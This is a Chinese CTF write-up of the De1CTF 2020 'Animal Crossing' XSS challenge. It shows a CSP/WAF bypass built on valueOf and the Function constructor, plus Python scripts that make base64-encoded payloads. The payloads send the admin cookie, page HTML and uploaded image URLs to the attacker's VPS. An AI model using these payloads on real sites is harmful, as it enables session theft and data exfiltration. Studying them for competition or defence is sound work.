2020 De1CTF & Animal Crossing - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

2020 De1CTF & Animal Crossing

一叶飘零 技术 2020-05-08 10:50:00
1065126
收藏

导语:五一的时候参与了一下De1CTF,里面有一道题让我印象很深刻:Animal Crossing。

前言

五一的时候参与了一下De1CTF,里面有一道题让我印象很深刻:Animal Crossing。

题目分析

题干描述如下:

2020-05-06-20-18-20.png

可能作者很喜欢玩动森),进去之后是一个如下页面:

2020-05-06-20-18-42.png

我们随机输入一些字符串后,来到下一页:

2020-05-06-20-19-10.png

此时我们的url:

http://134.175.231.113:8848/passport?image=%2Fstatic%2Fhead.jpg&island=vwev&fruit=&name=ewvc&data=vcwevcw

我们随机更改,页面会相应变化,同时发现有admin report界面:

2020-05-06-20-19-41.png

那么很明显了,这应该是一个xss打管理员cookie的题目。

尝试fuzz了一下各个参数,发现攻击点应该在data参数上,但其过滤了大量的字符,并且设有csp,导致常规的xss做法并不适用:

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none';

2020-05-06-20-20-45.png

原型链构造

2020-05-06-20-21-26.png

发现我们的代码会被拼接在此处进行执行,那么首先进行闭合:

view-source:http://134.175.231.113:8848/passport?image=%2Fstatic%2Fhead.jpg&island=vwev&fruit=&name=ewvc&data=%27||1111//

2020-05-06-20-22-16.png

那么如何利用1111部分的代码,让我们达到执行任意代码的目的呢?

这里就和一些trick有关,我们看一个例子:

2020-05-06-20-25-44.png

可以看到,对于toString,其会将其他值以字符串形式表示,特别的,对于对象,其会转换为[object Object],而对于数组,其会转换为Array.join(',')的形式进行拼接。但是对于valueOf( ),其返回的则是自身。

那我们再看一个例子:

2020-05-06-20-31-27.png

在一元加操作符操作对象的时候,会先调用对象的valueOf方法来转换,如此一来,我们可以利用这一特点,进行函数构造执行代码。那么我们回到题目中:

2020-05-06-20-34-39.png

如此一来,我们就可以定义function内容:

2020-05-06-20-35-06.png

那么我们再搭配上valueOf:

2020-05-06-20-36-55.png

当然,代码中没有+1的操作,那么怎么触发valueOf呢?其实很简单:

2020-05-06-20-40-04.png

如此一来,我们即可进行任意代码执行。

xss打cookie

在可执行任意代码后,我们下一步就是进行location跳转打cookie:

location='http://vps_ip?flag='+document.cookie

但是由于题目设置了较为恶心的waf,所以我们这里选择利用atob编码绕过:

import requests
from base64 import b64encode
s = """
location='http://vps_ip?flag='+document.cookie
"""
print(s)
data=b64encode(s.encode('utf-8')).decode('utf-8').replace('+', '%2b').replace('=','%3d')
url = "/passport?image=&island=&fruit=&name=&data=%27||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27"+ data +"%27))}%2b1//"
print(url)

编写代码如上,以用于自动生成exp。

攻击后即可得到管理员cookie:

FLAG=De1CTF{I_l1k4_

xss打管理员页面

但很显然只有一半flag是不行的,于是想到读一下管理员页面信息:

location='http://vps_ip?flag='+btoa(document.body.innerHTML)

得到信息解码后如下:

2020-05-06-20-45-08.png

可以发现管理员界面有无数张图片= =,猜想flag要么是其中一张,要么是拼接所有图片得到。那么尝试访问目录访问图片,但发现均为500,无法直接访问。

于是这里想到方案有2种:

1.利用js截图,将页面带出

2.将图片全部传出来

在解题中我选择了第二种思路,那么如何把图片传出呢?这里我们发现题目还有一个上传功能,可以让我们上传头像,但是只允许png和jpg后缀,这也是为何我选择了第二种方法,因为后缀名没法bypass(但是后来交流发现,不需要bypass后缀= =,我太菜啦!)

那么这里的思路转变为让管理员将图片上传后,再将return的访问url传出到我们的vps,我们即可获取到图片,于是写出如下脚本:

import requests
from base64 import b64encode
s = """
(async()=>{
    const arr = []
    for(let i=1;i<=9;i++) {
        res = await fetch(`/island/test_$0{i}.png`)
        data = await res.blob()
        const os = new FormData();
        const mf = new File([data], "name.png");
        os.append("file", mf);
        r = await fetch("/upload", {method: "POST",body: os})
        data = await r.json()
        arr.push(data.data)
    }
    location="http://vps_ip/?c="+btoa(JSON.stringify(arr))
})();
"""
print(s)
data=b64encode(s.encode('utf-8')).decode('utf-8').replace('+', '%2b').replace('=','%3d')
url = "/passport?image=&island=&fruit=&name=&data=%27||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27"+ data +"%27))}%2b1//"
print(url)

然后将400张图拼在一起,得到后半段flag:

2020-05-06-20-51-24.png

当然这里额外提一下,其实引入js库,不需要bypass js后缀,我们利用如下方式即可:

fetch(`/static/images/xxxxxx.png`).then(res=>res.text()).then(txt=>eval(txt))

然后引入js库,截图后将图片利用upload上传,再把return url发送到我们服务器即可~

后记

这道xss是我认为De1CTF比较有趣的一道题目了,首先考的就是纯web,其次出题的思路比较好,而不是一味的恶心人= =,点个赞~

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务